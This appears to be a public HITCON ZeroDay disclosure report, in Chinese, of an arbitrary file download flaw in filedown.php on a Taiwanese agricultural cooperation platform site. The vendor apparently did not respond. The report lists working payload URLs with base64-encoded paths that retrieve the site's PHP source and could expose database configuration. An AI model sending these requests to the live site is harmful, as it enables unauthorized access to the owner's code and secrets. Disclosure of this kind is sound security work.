農業產學研合作計畫資訊交流平台網站 任意檔案下載,導致敏感資訊洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01100
  •  發信 Vendor: 社團法人中華民國管理科學學會
  • Title: 農業產學研合作計畫資訊交流平台網站 任意檔案下載,導致敏感資訊洩漏
  • Introduction: 任意檔案下載

處理狀態

目前狀態

公開
Last Update : 2024/11/14
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/09/14 12:17:48 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/09/14 13:36:21 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/09/16 14:32:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/04 18:01:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/04 18:01:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/14 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01100
  • 通報者:nhd1261 ({{萌新}})
  • 風險:高
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.aiuc.org.tw/filedown.php?file=&site=

敘述

https://www.aiuc.org.tw/filedown.php?file=[檔案名稱]&site=[base64檔案路徑]
可以透過控制site參數的檔案路徑,下載網頁原始碼,嘗試時發現,雖然有限制目錄遍歷,無法使用../的方法下載檔案,但只要知道檔案名稱與路徑就能下載到敏感檔案。
圖片

透過以下Payload下載到filedown.php,審計代碼後確定該腳本沒有對用戶的授權狀態與下載的檔案進行驗證,導致此漏洞。
https://www.aiuc.org.tw/filedown.php?file=filedown.php&site=ZmlsZWRvd24ucGhw
https://www.aiuc.org.tw/filedown.php?file=filedown.php&site=V2ViQWRtaW4vZmlsZWRvd24ucGhw

透過以下網址下載index.php,從中發現controller.php、header.php、footer.php、common.inc.php等重要檔案路徑,並能以此構建其他Payload,下載含有重要網站設定的檔案(如資料庫連結腳本,網站對SQL注入與XSS的過濾機制等)。
https://www.aiuc.org.tw/filedown.php?file=index.php&site=aW5kZXgucGhw

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;